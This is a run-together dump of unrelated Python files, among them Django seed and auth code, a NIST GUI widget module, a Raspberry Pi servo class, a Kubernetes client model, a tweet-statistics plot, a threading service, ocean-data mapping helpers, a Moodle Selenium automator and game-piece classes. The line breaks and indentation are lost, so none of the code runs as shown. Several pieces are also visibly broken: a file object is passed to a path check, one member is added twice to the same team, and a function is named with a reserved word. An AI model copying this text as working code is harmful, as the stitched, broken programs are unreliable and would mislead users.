Favorite.objects.bulk_create(favorites) print('Favorites add finished') def add_team(): teams = [] for _ in range(5): name = rand_str(10) creator = User.objects.order_by('?')[:2].first() teams.append(Team(name=name, creator=creator)) Team.objects.bulk_create(teams) print('Teams add finished') def add_team_member(): team_members = [] users = User.objects.order_by('?') num = len(users) for user in users[:int(num/2)]: team = Team.objects.order_by('?')[:2].first() team_members.append(TeamMember(team=team, member=user)) team.member_num += 1 for user in users[int(num/2):int(num*2/3)]: team = Team.objects.order_by('?')[:2] team_members.append(TeamMember(team=team[0], member=user)) team_members.append(TeamMember(team=team[0], member=user)) team[0].member_num += 1 team[1].member_num += 1 TeamMember.objects.bulk_create(team_members) print('TeamMembers add finished') def add_doc_power(): doc_powers = [] for doc in Doc.objects.all(): doc_powers.append(DocPower(member=doc.creator, doc=doc, role=5)) DocPower.objects.bulk_create(doc_powers) print('DocPowers add finished') def add_comment(): comments = [] for doc in Doc.objects.order_by('?')[:10]: creator = User.objects.order_by('?')[:2].first() comments.append(Comment(creator=creator, doc=doc, content=rand_str(100))) Comment.objects.bulk_create(comments) print('Comments add finished') def add_message(): messages = [] for user in User.objects.order_by('?')[:10]: messages.append(Message(receiver=user, content=rand_str(100))) Message.objects.bulk_create(messages) print('Messages add finished') def my_test(): print(User.objects.order_by('?')[:2].first()) def encrypt(src): """encoding""" print(src) value = signing.dumps(src) print(value) return value def decrypt(value): """decoding""" print(value) src = signing.loads(value) print(src) return src SRC/engine/IO/GUI/namedanalysiswidgets.py # -*- python -*- # This software was produced by NIST, an agency of the U.S. government, # and by statute is not subject to copyright in the United States. # Recipients of this software assume all responsibilities associated # with its operation, modification and maintenance. However, to # facilitate maintenance we ask that before distributing modified # versions of this software, you first contact the authors at # . from ooflib.SWIG.common import switchboard from ooflib.common import debug from ooflib.common.IO.GUI import chooser from ooflib.common.IO.GUI import parameterwidgets from ooflib.engine import namedanalysis class AllAnalyses(object): def getNames(self): return (namedanalysis.analysisNames()) def signals(self): return [ switchboard.requestCallbackMain("named analyses changed", self.update) ] class AnalysisNamesWidgetBase(parameterwidgets.ParameterWidget): def __init__(self, param, scope=None, name=None, verbose=False): names = self.getNames() names.sort() self.widget = chooser.ScrolledMultiListWidget(names, callback=self.widgetCB) parameterwidgets.ParameterWidget.__init__(self, self.widget.gtk, scope, name=name, expandable=True, verbose=verbose) self.widget.set_selection(param.value) self.widgetChanged(param.value is not None, interactive=False) self.sbcallbacks = self.signals() self.widgetChanged(len(self.get_value()) > 0, interactive=False) def cleanUp(self): map(switchboard.removeCallback, self.sbcallbacks) parameterwidgets.ParameterWidget.cleanUp(self) def get_value(self): return self.widget.get_value() def set_value(self, value): self.widget.set_selection(value) def widgetCB(self, list, interactive): self.widgetChanged(len(list) > 0, interactive=True) def update(self, *args): names = self.getNames() names.sort() self.widget.update(names) self.widgetChanged(len(self.get_value()) > 0, interactive=False) class AnalysisNamesWidget(AnalysisNamesWidgetBase, AllAnalyses): pass def _AnalysisNamesParam_makeWidget(self, scope=None, verbose=False): return AnalysisNamesWidget(self, scope, name=self.name, verbose=verbose) namedanalysis.AnalysisNamesParameter.makeWidget = _AnalysisNamesParam_makeWidget ################ class AnalysisNameWidgetBase(parameterwidgets.ParameterWidget): def __init__(self, param, scope=None, name=None, verbose=False): self.chooser = chooser.ChooserWidget([], name=name) parameterwidgets.ParameterWidget.__init__(self, self.chooser.gtk, scope, verbose=verbose) self.update() if param.value is not None: self.set_value(param.value) self.sbcallbacks = [ switchboard.requestCallbackMain("named analyses changed", self.update) ] def cleanUp(self): map(switchboard.removeCallback, self.sbcallbacks) parameterwidgets.ParameterWidget.cleanUp(self) def set_value(self, name): self.chooser.set_state(name) self.widgetChanged(name is not None, interactive=False) def get_value(self): return self.chooser.get_value() def update(self, *args): names = self.getNames() names.sort() self.chooser.update(names) self.widgetChanged(len(names) > 0, interactive=False) class AnalysisNameWidget(AnalysisNameWidgetBase, AllAnalyses): pass def _AnalysisNameParam_makeWidget(self, scope=None, verbose=False): return AnalysisNameWidget(self, scope, name=self.name, verbose=verbose) namedanalysis.AnalysisNameParameter.makeWidget = _AnalysisNameParam_makeWidget #TODO OPTIMIZE from tinydb import TinyDB, Query db = TinyDB('db.json') class User: def __init__(self, UUID, auth=False, admin=False): results = db.search(Query().UUID == UUID) if results and len(results) > 1: eprint("More than one DB entry for UUID " + UUID) eprint("Panic!") exit(1) elif results: self.UUID = results[0]["UUID"] self.auth = results[0]["auth"] self.admin = results[0]["admin"] #TODO handle consistency here, what if you change auth or admin? else: data = {} data["UUID"] = UUID data["auth"] = auth data["admin"] = admin db.insert(data) self.UUID = UUID self.auth = auth self.admin = admin def is_authenticated(self): return self.auth def is_active(self): return self.auth def is_anonymous(self): return not self.auth def get_id(self): return self.UUID pharmacies/authentication/urls.py from django.contrib.auth import views as auth_views from django.urls import path, reverse_lazy, include from rest_framework import routers from authentication import views app_name = "authentication" router = routers.DefaultRouter() router.register(r"user/api", views.UserViewSet, basename="user") urlpatterns = [ path("", views.homepage, name="home"), path(r"", include(router.urls)), path("register/", views.signup, name="register"), path("activate///", views.activate, name="activate"), path("login/", views.signin, name="login"), path("logout/", views.signout, name="logout"), path( "password-reset/", auth_views.PasswordResetView.as_view( template_name="authentication/password_reset.html", email_template_name="authentication/password_reset_email.html", success_url=reverse_lazy("authentication:password_reset_done"), ), name="password_reset", ), path( "password-reset/done/", auth_views.PasswordResetDoneView.as_view( template_name="authentication/password_reset_done.html" ), name="password_reset_done", ), path( "password-reset-confirm///", auth_views.PasswordResetConfirmView.as_view( template_name="authentication/password_reset_confirm.html", success_url=reverse_lazy("authentication:password_reset_complete"), ), name="password_reset_confirm", ), path( "password-reset-complete/", auth_views.PasswordResetCompleteView.as_view( template_name="authentication/password_reset_complete.html" ), name="password_reset_complete", ), ] ''' ********************************************************************** * Filename : front_wheels * Description : A module to control the front wheels of RPi Car * Author : Cavon * Brand : SunFounder * E-mail : * Website : www.sunfounder.com * Update : Cavon 2016-09-13 New release * Cavon 2016-11-04 fix for submodules ********************************************************************** ''' from autorc.picar3 import Servo from autorc.picar3.base import Component class Front_Wheels(Component): ''' Front wheels control class ''' FRONT_WHEEL_CHANNEL = 0 _DEBUG_INFO = 'DEBUG "front_wheels":' def __init__(self, debug=False, db="config", bus_number=1, channel=FRONT_WHEEL_CHANNEL): ''' setup channels and basic stuff ''' super(Front_Wheels, self).__init__() self._channel = channel self._straight_angle = 90 self.turning_max = 20 self._turning_offset = 0 # Read from config self.wheel = Servo.Servo(self._channel, bus_number=bus_number, offset=self.turning_offset) self.debug = debug self.log('Front wheel PWM channel:', self._channel) self.log('Front wheel offset value:', self.turning_offset) self._angle = { "left": self._min_angle, "straight": self._straight_angle, "right": self._max_angle } self.log('left angle: %s, straight angle: %s, right angle: %s' % ( self._angle["left"], self._angle["straight"], self._angle["right"] )) def turn_left(self): ''' Turn the front wheels left ''' self.log("Turn left") self.wheel.write(self._angle["left"]) def turn_straight(self): ''' Turn the front wheels back straight ''' self.log("Turn straight") self.wheel.write(self._angle["straight"]) def turn_right(self): ''' Turn the front wheels right ''' self.log("Turn right") self.wheel.write(self._angle["right"]) def turn(self, angle): ''' Turn the front wheels to the giving angle ''' self.log("Turn to %d", angle) if angle < self._angle["left"]: angle = self._angle["left"] if angle > self._angle["right"]: angle = self._angle["right"] self.wheel.write(angle) @property def channel(self): return self._channel @channel.setter def channel(self, chn): self._channel = chn @property def turning_max(self): return self._turning_max @turning_max.setter def turning_max(self, angle): self._turning_max = angle self._min_angle = self._straight_angle - angle self._max_angle = self._straight_angle + angle self._angle = { "left": self._min_angle, "straight": self._straight_angle, "right": self._max_angle } @property def turning_offset(self): return self._turning_offset @turning_offset.setter def turning_offset(self, value): if not isinstance(value, int): raise TypeError('"turning_offset" must be "int"') self._turning_offset = value # self.db.set('turning_offset', value) self.wheel.offset = value self.turn_straight() def ready(self): ''' Get the front wheels to the ready position. ''' self.log('Turn to "Ready" position') self.wheel.offset = self.turning_offset self.turn_straight() def calibration(self): ''' Get the front wheels to the calibration position. ''' self.log('Turn to "Calibration" position') self.turn_straight() self.cali_turning_offset = self.turning_offset def cali_left(self): ''' Calibrate the wheels to left ''' self.cali_turning_offset -= 1 self.wheel.offset = self.cali_turning_offset self.turn_straight() def cali_right(self): ''' Calibrate the wheels to right ''' self.cali_turning_offset += 1 self.wheel.offset = self.cali_turning_offset self.turn_straight() def cali_ok(self): ''' Save the calibration value ''' self.turning_offset = self.cali_turning_offset # self.db.set('turning_offset', self.turning_offset) djangofiltertest/djangofiltertest/apps/posts/apps.py from django.apps import AppConfig from django.utils.translation import ugettext_lazy as _ class PostsConfig(AppConfig): name = 'posts' verbose_name = _('posts') # def ready(self): # import posts.signals # noqa: F401 import argparse class Args: bold = '\033[1m' end = '\033[0m' line = '+' + '-' *47 + '+' name = '|' + bold + ' G' + end + 'tk ' + bold + 'U' + end + 'niversal ' + bold + 'N' + end + 'etwork ' + bold + 'R' + end + 'emote' + bold + 'C' + end + 'ontrol |' logo = ''' | ______. | | ~(_]----' °¹°¹° | | /_( GunRC v0.1 | | | ''' appdesc = line + '\n' + name + logo + line + '\n' def __init__(self): self.get = '' def parser(self, argv): parser = argparse.ArgumentParser(description='cli example: gunrc -c default play') parser.add_argument('-V', '--version', action='version', version="%(prog)s (Version 0.1)") parser.add_argument('-d', dest='debug', action='store_true', default=False, help='turn on for debugging') parser.add_argument('-l', dest='list', choices=['profiles', 'commands'], help='list available profiles or commands') parser.add_argument('-c', nargs=2, metavar=('PROFILE', 'COMMAND'), dest='run_cmd', help='send COMMAND to device in PROFILE') self.get = parser.parse_args() kubernetes/client/models/io_cert_manager_acme_v1_challenge_status.py # coding: utf-8 """ Kubernetes No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501 The version of the OpenAPI document: v1.20.7 Generated by: https://openapi-generator.tech """ import pprint import re # noqa: F401 import six from kubernetes.client.configuration import Configuration class IoCertManagerAcmeV1ChallengeStatus(object): """NOTE: This class is auto generated by OpenAPI Generator. Ref: https://openapi-generator.tech Do not edit the class manually. """ """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ openapi_types = { 'presented': 'bool', 'processing': 'bool', 'reason': 'str', 'state': 'str' } attribute_map = { 'presented': 'presented', 'processing': 'processing', 'reason': 'reason', 'state': 'state' } def __init__(self, presented=None, processing=None, reason=None, state=None, local_vars_configuration=None): # noqa: E501 """IoCertManagerAcmeV1ChallengeStatus - a model defined in OpenAPI""" # noqa: E501 if local_vars_configuration is None: local_vars_configuration = Configuration() self.local_vars_configuration = local_vars_configuration self._presented = None self._processing = None self._reason = None self._state = None self.discriminator = None if presented is not None: self.presented = presented if processing is not None: self.processing = processing if reason is not None: self.reason = reason if state is not None: self.state = state @property def presented(self): """Gets the presented of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 presented will be set to true if the challenge values for this challenge are currently 'presented'. This *does not* imply the self check is passing. Only that the values have been 'submitted' for the appropriate challenge mechanism (i.e. the DNS01 TXT record has been presented, or the HTTP01 configuration has been configured). # noqa: E501 :return: The presented of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :rtype: bool """ return self._presented @presented.setter def presented(self, presented): """Sets the presented of this IoCertManagerAcmeV1ChallengeStatus. presented will be set to true if the challenge values for this challenge are currently 'presented'. This *does not* imply the self check is passing. Only that the values have been 'submitted' for the appropriate challenge mechanism (i.e. the DNS01 TXT record has been presented, or the HTTP01 configuration has been configured). # noqa: E501 :param presented: The presented of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :type: bool """ self._presented = presented @property def processing(self): """Gets the processing of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 Used to denote whether this challenge should be processed or not. This field will only be set to true by the 'scheduling' component. It will only be set to false by the 'challenges' controller, after the challenge has reached a final state or timed out. If this field is set to false, the challenge controller will not take any more action. # noqa: E501 :return: The processing of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :rtype: bool """ return self._processing @processing.setter def processing(self, processing): """Sets the processing of this IoCertManagerAcmeV1ChallengeStatus. Used to denote whether this challenge should be processed or not. This field will only be set to true by the 'scheduling' component. It will only be set to false by the 'challenges' controller, after the challenge has reached a final state or timed out. If this field is set to false, the challenge controller will not take any more action. # noqa: E501 :param processing: The processing of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :type: bool """ self._processing = processing @property def reason(self): """Gets the reason of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 Contains human readable information on why the Challenge is in the current state. # noqa: E501 :return: The reason of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :rtype: str """ return self._reason @reason.setter def reason(self, reason): """Sets the reason of this IoCertManagerAcmeV1ChallengeStatus. Contains human readable information on why the Challenge is in the current state. # noqa: E501 :param reason: The reason of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :type: str """ self._reason = reason @property def state(self): """Gets the state of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 Contains the current 'state' of the challenge. If not set, the state of the challenge is unknown. # noqa: E501 :return: The state of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :rtype: str """ return self._state @state.setter def state(self, state): """Sets the state of this IoCertManagerAcmeV1ChallengeStatus. Contains the current 'state' of the challenge. If not set, the state of the challenge is unknown. # noqa: E501 :param state: The state of this IoCertManagerAcmeV1ChallengeStatus. # noqa: E501 :type: str """ allowed_values = ["valid", "ready", "pending", "processing", "invalid", "expired", "errored"] # noqa: E501 if self.local_vars_configuration.client_side_validation and state not in allowed_values: # noqa: E501 raise ValueError( "Invalid value for `state` ({0}), must be one of {1}" # noqa: E501 .format(state, allowed_values) ) self._state = state def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" return pprint.pformat(self.to_dict()) def __repr__(self): """For `print` and `pprint`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, IoCertManagerAcmeV1ChallengeStatus): return False return self.to_dict() == other.to_dict() def __ne__(self, other): """Returns true if both objects are not equal""" if not isinstance(other, IoCertManagerAcmeV1ChallengeStatus): return True return self.to_dict() != other.to_dict() src/tweet_data_extractor/graph_tweet_number_distribution.py import os import pickle from collections import Counter from matplotlib import pyplot as plt from tweet_parser_utils import tweets_directories_iter TWEET_COUNTER_PATH = open(os.path.join("raw", "tweet_counter.pickle")) if not os.path.isfile(TWEET_COUNTER_PATH): tweet_counter = Counter() all_tweets = tweets_directories_iter("raw", "climate_id") for tweet in all_tweets: userid = tweet["user"]["id"] tweet_counter[userid] += 1 with open("tweet_counter.pickle", "wb") as f: pickle.dump(tweet_counter, f) else: with open("tweet_counter.pickle", "rb") as f: tweet_counter = pickle.load(f) plt.rcParams.update({'font.size': 18.3}) plt.rc('legend', fontsize=10) plt.rc('xtick', labelsize=14) plt.rc('ytick', labelsize=14) values = tweet_counter.values() n_tweets = Counter() for val in values: n_tweets[val] += 1 X, Y = [], [] threshold = 0.9 found_threshold = False s = 0 tot = sum(n_tweets.values()) for x in range(max(values)): X.append(x) Y.append(n_tweets[x]) if x<10: print(f"#{x} {n_tweets[x]}") s += n_tweets[x] if not found_threshold and s/tot > threshold: found_threshold = True print(f"{threshold*100}% of nodes tweeted less than {x} tweets") print(f"tot {tot}") plt.xlim((-10,250)) plt.ylim((0,200)) plt.xlabel("# Tweets") plt.ylabel("# Users") plt.gcf().subplots_adjust(bottom=0.15, left=0.15) plt.plot(X,Y, color="goldenrod", lw=1.6) #plt.savefig("dataset_visualization.png", dpi=300) plt.show() mushicoin/service.py import queue import sys import threading import traceback from mushicoin import tools from mushicoin.ntwrk.message import Order class NoExceptionQueue(queue.Queue): """ In some cases, queue overflow is ignored. Necessary try, except blocks make the code less readable. This is a special queue class that simply ignores overflow. """ def __init__(self, maxsize=0): queue.Queue.__init__(self, maxsize) def put(self, item, block=True, timeout=None): try: queue.Queue.put(self, item, block, timeout) except queue.Full: pass class Service: """ Service is a background job synchronizer. It consists of an event loop, side threads and annotation helpers. Event loop starts listening for upcoming events after registration. If service is alive, all annotated methods are run in background thread and results return depending on annotation type. Side threads are executed repeatedly until service shuts down or thread is forcefully closed from another thread. Each side-thread should also check for infinite loops. """ INIT = 0 RUNNING = 1 STOPPED = 2 TERMINATED = 3 def __init__(self, name): self.event_thread = threading.Thread() self.into_service_queue = NoExceptionQueue(1000) self.signals = {} self.service_responses = {} self.name = name self.__state = None self.execution_lock = threading.Lock() self.__threads = {} def register(self): def service_target(service): service.set_state(Service.RUNNING) while service.get_state() == Service.RUNNING: try: order = service.into_service_queue.get(timeout=1) if isinstance(order, Order): result = Service.execute_order(service, order) self.service_responses[order.id] = result self.signals[order.id].set() service.into_service_queue.task_done() except TypeError: service.set_state(Service.STOPPED) self.service_responses[order.id] = True self.signals[order.id].set() except queue.Empty: pass def threaded_wrapper(func): def insider(*args, **kwargs): while self.__threads[func.__name__]["running"]: try: func(*args, **kwargs) except Exception as e: tools.log('Exception occurred at thread {}\n{}'.format(func.__name__, traceback.format_exc())) return 0 return insider cont = self.on_register() if not cont: tools.log("Service is not going to continue with registering!") return False # Start event loop self.event_thread = threading.Thread(target=service_target, args=(self,), name=self.name) self.event_thread.start() # Start all side-threads for clsMember in self.__class__.__dict__.values(): if hasattr(clsMember, "decorator") and clsMember.decorator == threaded.__name__: new_thread = threading.Thread(target=threaded_wrapper(clsMember._original), args=(self,), name=clsMember._original.__name__) self.__threads[clsMember._original.__name__] = { "running": True, "thread": new_thread } new_thread.start() return True # Lifecycle events def on_register(self): """ Called just before registration starts. :return: bool indicating whether registration should continue """ return True def on_close(self): """ Called after everything is shut down. :return: Irrelevant """ return True def join(self): """ Join all side-threads and event loop in the end. :return: None """ for thread_dict in self.__threads.values(): thread_dict["thread"].join() self.into_service_queue.join() # If join is called from the service instance, there is no need to join. # Thread wants to destory itself if threading.current_thread().name != self.event_thread.name: self.event_thread.join() def unregister(self, join=False): """ Disconnect the service background operations. Close and join all side-threads and event loop. :return: None """ self.execute('__shutdown_service__', True, args=(), kwargs={}) if join: self.join() self.on_close() def execute(self, action, expect_result, args, kwargs): """ Execute an order that is triggered by annotated methods. This method should be treated as private. :param action: Action name :param expect_result: Whether to wait for result of action :param args: Argument list for method :param kwargs: Keyword argument list for method :return: result of action or None """ if self.get_state() != Service.RUNNING: return None result = None new_order = Order(action, args, kwargs) # This is already event thread and someone called a synced function. # We can run it now. if threading.current_thread().name == self.event_thread.name: result = Service.execute_order(self, new_order) return result self.signals[new_order.id] = threading.Event() self.into_service_queue.put(new_order) if expect_result: try: if self.signals[new_order.id].wait(): response = self.service_responses[new_order.id] del self.signals[new_order.id] del self.service_responses[new_order.id] result = response else: tools.log('Service wait timed out', self.__class__.__name__) except: tools.log(sys.exc_info()) pass return result @staticmethod def execute_order(service, order): """ Directly executes the order on service instance. Makes no thread checks, no synchronization attempts. :param service: Service instance :param order: Order object :return: result of the execution """ result = False if order.action == '__close_threaded__': result = True service.__threads[order.args[0]]["running"] = False elif order.action == '__shutdown_service__': result = True service.set_state(Service.STOPPED) elif hasattr(service, order.action): try: result = getattr(service, order.action)._original(service, *order.args, **order.kwargs) except: result = None tools.log(sys.exc_info()) return result def get_state(self): # () -> (INIT|RUNNING|STOPPED|TERMINATED) """ :return: State of the service """ return self.__state def set_state(self, state): # (INIT|RUNNING|STOPPED|TERMINATED) -> () """ Set the current state of the service. This should never be used outside of the service. Treat as private method. :param state: New state :return: None """ if state == Service.STOPPED or state == Service.TERMINATED: tools.log('{} got stopped'.format(self.__class__.__name__)) for thread_name in self.__threads.keys(): self.__threads[thread_name]["running"] = False self.__state = state def close_threaded(self): """ Close current side-thread. :return: None """ thread_name = threading.current_thread().name self.execute(action='__close_threaded__', expect_result=True, args=(thread_name,), kwargs={}) def threaded_running(self): """ Should only be used by side-threads to check if it is still alive. Any inner loop can be cancelled. :return: is current side-thread should continue to run """ thread_name = threading.current_thread().name is_service_running = (self.get_state() == Service.RUNNING) try: return self.__threads[thread_name]["running"] and is_service_running except: return True def sync(func): """ Decorator for any service method that needs to run in the event loop. Results return after execution. :param func: Function to be decorated :return: Decorated version of function """ def wrapper(self, *args, **kwargs): return self.execute(func.__name__, True, args=args, kwargs=kwargs) wrapper._original = func wrapper.thread_safe = True return wrapper def async(func): """ Decorator for any service method that needs to run in the event loop. Results do not return after execution. :param func: Function to be decorated :return: Decorated version of function """ def wrapper(self, *args, **kwargs): return self.execute(func.__name__, False, args=args, kwargs=kwargs) wrapper._original = func wrapper.thread_safe = True return wrapper def threaded(func): """ This is just a marker decorator. It removes all the functionality but adds a decorator marker so that it can be registered as a new thread Given method assumed to be running indefinitely until a closing signal is given. That's why threaded methods should define their own while or for loop. Instead, signal close by using an if condition at the start of the method. Close signal can be given out by Service.close_threaded() :param func: Function to be marked :return: useless function that is marked """ def wrapper(self, *args, **kwargs): import warnings warnings.warn('Threaded methods should not be executed directly.') return None wrapper.decorator = threaded.__name__ wrapper._original = func return wrapper locks = {} class LockException(Exception): def __init__(self, message): Exception.__init__(self, message) def lockit(lock_name, timeout=-1): def _lockit(func): """ Decorator for any service method that needs to run in the event loop. Results return after execution. :param func: Function to be decorated :return: Decorated version of function """ def wrapper(self, *args, **kwargs): global locks if '__lock_{}__'.format(lock_name) in locks.keys(): mylock = locks['__lock_{}__'.format(lock_name)] else: mylock = threading.RLock() locks['__lock_{}__'.format(lock_name)] = mylock is_acquired = mylock.acquire(timeout=timeout) if is_acquired: result = func(self, *args, **kwargs) else: raise LockException('Lock named {} could not be acquired in the given time'.format(lock_name)) mylock.release() return result wrapper._original = func wrapper.thread_safe = True wrapper.__name__ = func.__name__ return wrapper return _lockit from itertools import cycle import folium import pandas as pd from bokeh.embed import file_html from bokeh.models import HoverTool, Legend from bokeh.palettes import Category20 from bokeh.plotting import figure from bokeh.resources import CDN from folium import IFrame from netCDF4 import Dataset from owslib import fes from ioos_tools.ioos import fes_date_filter, get_coordinates, stations_keys # Plot defaults. colors = Category20[20] colorcycler = cycle(colors) tools = "pan,box_zoom,reset" width, height = 750, 250 # Some known models names. Unknonwn models will use the title metadata or the URL. titles = { "coawst_4_use_best": "COAWST_4", "global": "HYCOM", "NECOFS_GOM3_FORECAST": "NECOFS_GOM3", "NECOFS_FVCOM_OCEAN_MASSBAY_FORECAST": "NECOFS_MassBay", "OBS_DATA": "Observations", } def make_plot(df, station, skill_score, mean_bias): p = figure( toolbar_location="above", x_axis_type="datetime", width=width, height=height, tools=tools, title=str(station), ) leg = [] for column, series in df.iteritems(): series.dropna(inplace=True) if not series.empty: if "OBS_DATA" not in column: bias = mean_bias[str(station)][column] skill = skill_score[str(station)][column] line_color = next(colorcycler) kw = {"alpha": 0.65, "line_color": line_color} else: skill = bias = "NA" kw = {"alpha": 1, "color": "crimson"} line = p.line( x=series.index, y=series.values, line_width=5, line_cap="round", line_join="round", **kw ) leg.append(("{}".format(titles.get(column, column)), [line])) p.add_tools( HoverTool( tooltips=[ ("Name", "{}".format(titles.get(column, column))), ("Bias", bias), ("Skill", skill), ], renderers=[line], ) ) legend = Legend(items=leg, location=(0, 60)) legend.click_policy = "mute" p.add_layout(legend, "right") p.yaxis[0].axis_label = "Wave Height (m)" p.xaxis[0].axis_label = "Date/time" return p def make_marker(p, station, config): lons = stations_keys(config, key="lon") lats = stations_keys(config, key="lat") lon, lat = lons[station], lats[station] html = file_html(p, CDN, station) iframe = IFrame(html, width=width + 40, height=height + 80) popup = folium.Popup(iframe, max_width=2650) icon = folium.Icon(color="green", icon="stats") marker = folium.Marker(location=[lat, lon], popup=popup, icon=icon) return marker def rename_cols(df, config): cols = stations_keys(config, key="station_name") return df.rename(columns=cols) def check_standard_name(url, standard_names): def standard_name(v): return v in standard_names with Dataset(url) as nc: variables = nc.get_variables_by_attributes(standard_name=standard_name) if variables: return True else: return False def make_map(bbox, **kw): line = kw.pop("line", True) layers = kw.pop("layers", True) zoom_start = kw.pop("zoom_start", 5) lon = (bbox[0] + bbox[2]) / 2 lat = (bbox[1] + bbox[3]) / 2 m = folium.Map( width="100%", height="100%", location=[lat, lon], zoom_start=zoom_start ) if layers: url = "http://geoport-dev.whoi.edu/thredds/wms/coawst_4/use/fmrc/coawst_4_use_best.ncd" w = folium.WmsTileLayer( url, name="COAWST Wave Height", fmt="image/png", layers="Hwave", style="boxfill/rainbow", COLORSCALERANGE="0,5", overlay=True, transparent=True, ) w.add_to(m) if line: p = folium.PolyLine( get_coordinates(bbox), color="#FF0000", weight=2, opacity=0.9, latlon=True, ) p.add_to(m) return m def get_df(dfs, station): ret = {} for k, v in dfs.items(): ret.update({k: v[station]}) return pd.DataFrame.from_dict(ret) def make_filter(config,): kw = { "wildCard": "*", "escapeChar": "\\", "singleChar": "?", "propertyname": "apiso:Subject", } if len(config["cf_names"]) > 1: or_filt = fes.Or( [ fes.PropertyIsLike(literal=("*%s*" % val), **kw) for val in config["cf_names"] ] ) else: or_filt = fes.PropertyIsLike( literal=("*%s*" % config["cf_names"][0]), **kw ) kw.update({"propertyname": "apiso:AnyText"}) not_filt = fes.Not([fes.PropertyIsLike(literal="*cdip*", **kw)]) begin, end = fes_date_filter( config["date"]["start"], config["date"]["stop"] ) bbox_crs = fes.BBox(config["region"]["bbox"], crs=config["region"]["crs"]) filter_list = [fes.And([bbox_crs, begin, end, or_filt, not_filt])] return filter_list from poetry_multiproject_plugin.plugin import MultiProjectPlugin __version__ = "0.3.3" __all__ = ["MultiProjectPlugin"] Crissal1995/new_moodle_importer import logging from selenium.common.exceptions import WebDriverException from moodle.model import Module, Section from moodle.pages import LoginPage, ToggleEditPage from moodle.utility import config, get_driver import time logger = logging.getLogger(__name__) class Automator: def __init__(self, *, wait_s: int = 3): if wait_s <= 0: msg = "Implicit wait must be positive!" logger.error(msg) raise ValueError(msg) driver = get_driver() driver.implicitly_wait(wait_s) self.driver = driver # execute login on moodle platform self.login() time.sleep(1) # enable course edit self.enable_edit() def __del__(self): try: self.driver.quit() except WebDriverException: pass finally: logger.info("Selenium driver quitted") def login(self): LoginPage(self.driver).complete() def go_to_course(self): self.driver.get(config["site"]["course"]) def enable_edit(self): ToggleEditPage(self.driver).complete() logger.info("Edit course enabled") def get_last_section(self) -> Section: """Get last Section element""" li = self.driver.find_elements_by_css_selector(Section.css_selector)[-1] name = li.find_element_by_css_selector("div.content > h3").text.strip() section = Section(self.driver, name) section.dom_id = li.get_attribute("id") return section def get_module(self, module_id: int) -> Module: """Get Module element from its id""" module_dom_id = f"module-{module_id}" try: element = self.driver.find_element_by_id(module_dom_id) except WebDriverException: msg = f"Cannot find element with ID '{module_dom_id}'!" raise ValueError(msg) name = element.find_element_by_class_name("instancename").text module = Module(driver=self.driver, name=name) module.dom_id = module_dom_id return module def create_section(self, name: str) -> Section: """Create a Section with specified name and return it""" # ensure we're on course page self.go_to_course() section = Section(self.driver, name) section.create() return section def create_module(self, name: str, section: Section) -> Module: """Create a Module inside a Section and return it""" # ensure we're on course page self.go_to_course() module = Module(self.driver, name, section) module.create() return module ''' @ () Four Corners - https://github.com/harrischristiansen/four-corners Pieces: Definition of all game pieces ''' from .basePiece import BasePiece class Single(BasePiece): def __init__(self, player): tiles = [ [1], ] super().__init__("single", player, tiles=tiles) class Double(BasePiece): def __init__(self, player): tiles = [ [1, 1], ] super().__init__("double", player, tiles=tiles) class Three_Bar(BasePiece): def __init__(self, player): tiles = [ [1, 1, 1], ] super().__init__("three bar", player, tiles=tiles) class Three_L(BasePiece): def __init__(self, player): tiles = [ [1, 1], [1, 0], ] super().__init__("three L", player, tiles=tiles) class Four_L(BasePiece): def __init__(self, player): tiles = [ [1, 1, 1], [1, 0, 0], ] super().__init__("four L", player, tiles=tiles) class Four_Bar(BasePiece): def __init__(self, player): tiles = [ [1, 1, 1, 1], ] super().__init__("four bar", player, tiles=tiles) class Four_Pyramid(BasePiece): def __init__(self, player): tiles = [ [0, 1, 0], [1, 1, 1], ] super().__init__("four pyramid", player, tiles=tiles) class Four_Square(BasePiece): def __init__(self, player): tiles = [ [1, 1], [1, 1], ] super().__init__("four square", player, tiles=tiles) class Four_ZigZag(BasePiece): def __init__(self, player): tiles = [ [0, 1, 1], [1, 1, 0], ] super().__init__("four zigzag", player, tiles=tiles) class Five_C(BasePiece): def __init__(self, player): tiles = [ [1, 1], [1, 0], [1, 1], ] super().__init__("five C", player, tiles=tiles) class Five_F(BasePiece): def __init__(self, player): tiles = [ [0, 1, 1], [1, 1, 0], [0, 1, 0], ] super().__init__("five f", player, tiles=tiles) class Five_L(BasePiece): def __init__(self, player): tiles = [ [1, 1, 1, 1], [1, 0, 0, 0], ] super().__init__("five L", player, tiles=tiles) class Five_T(BasePiece): def __init__(self, player): tiles = [ [1, 1, 1], [0, 1, 0], [0, 1, 0], ] super().__init__("five T", player, tiles=tiles) class Five_W(BasePiece): def __init__(self, player): tiles = [ [0, 1, 1], [1, 1, 0], [1, 0, 0], ] super().__init__("five W", player, tiles=tiles) class Five_Y(BasePiece): def __init__(self, player): tiles = [ [0, 1, 0, 0], [1, 1, 1, 1], ] super().__init__("five y", player, tiles=tiles) class Five_Z(BasePiece): def __init__(self, player): tiles = [ [1, 1, 0], [0, 1, 0], [0, 1, 1], ] super().__init__("five Z", player, tiles=tiles) class Five_Angle(BasePiece): def __init__(self, player): 